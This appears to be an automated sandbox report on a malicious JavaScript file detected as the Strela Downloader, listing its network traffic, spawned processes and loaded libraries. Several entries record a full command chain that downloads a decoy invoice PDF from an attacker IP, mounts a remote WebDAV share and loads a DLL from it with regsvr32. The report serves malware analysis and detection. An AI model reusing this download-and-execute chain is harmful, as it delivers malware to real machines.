Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

TCP traffic: 192.168.2.5:49705 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49704 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.2055311900.000002D565ACA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2108620262.000001E4F50A8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2108620262.000001E4F50DC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2108620262.000001E4F50FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2108620262.000001E4F50DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/%X
Source: svchost.exe, 00000009.00000002.3359418374.0000027A9000F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.2108538211.0000027A8FDF0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 5260, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30514958631640.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30514958631640.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 19726179161917216961.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5656:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2vseukod.bwv.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\19726179161917216961.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30514958631640.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2148 --field-trial-handle=1740,i,15317889719654110076,16104264370723604685,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30514958631640.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2148 --field-trial-handle=1740,i,15317889719654110076,16104264370723604685,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
